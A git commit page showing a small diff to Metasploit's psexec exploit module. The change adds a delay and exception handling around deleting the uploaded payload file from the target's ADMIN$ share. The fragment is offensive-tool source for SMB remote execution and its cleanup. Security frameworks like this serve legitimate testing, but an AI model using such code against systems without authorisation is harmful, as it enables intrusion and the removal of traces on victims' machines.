Wait a second before deleting the file, catch an exception on delete, combined these reduce some of the issues around psexec
git-svn-id: file:///home/svn/framework3/trunk@7954 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
0a0ddc35d0
commit
92c703ba6f
|
@ -264,9 +264,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Error: #{e}")
|
||||
end
|
||||
|
||||
print_status("Deleting \\#{filename}...")
|
||||
simple.connect("ADMIN$")
|
||||
simple.delete("\\#{filename}")
|
||||
begin
|
||||
print_status("Deleting \\#{filename}...")
|
||||
select(nil, nil, nil, 1.0)
|
||||
simple.connect("ADMIN$")
|
||||
simple.delete("\\#{filename}")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
|
|
Loading…
Reference in New Issue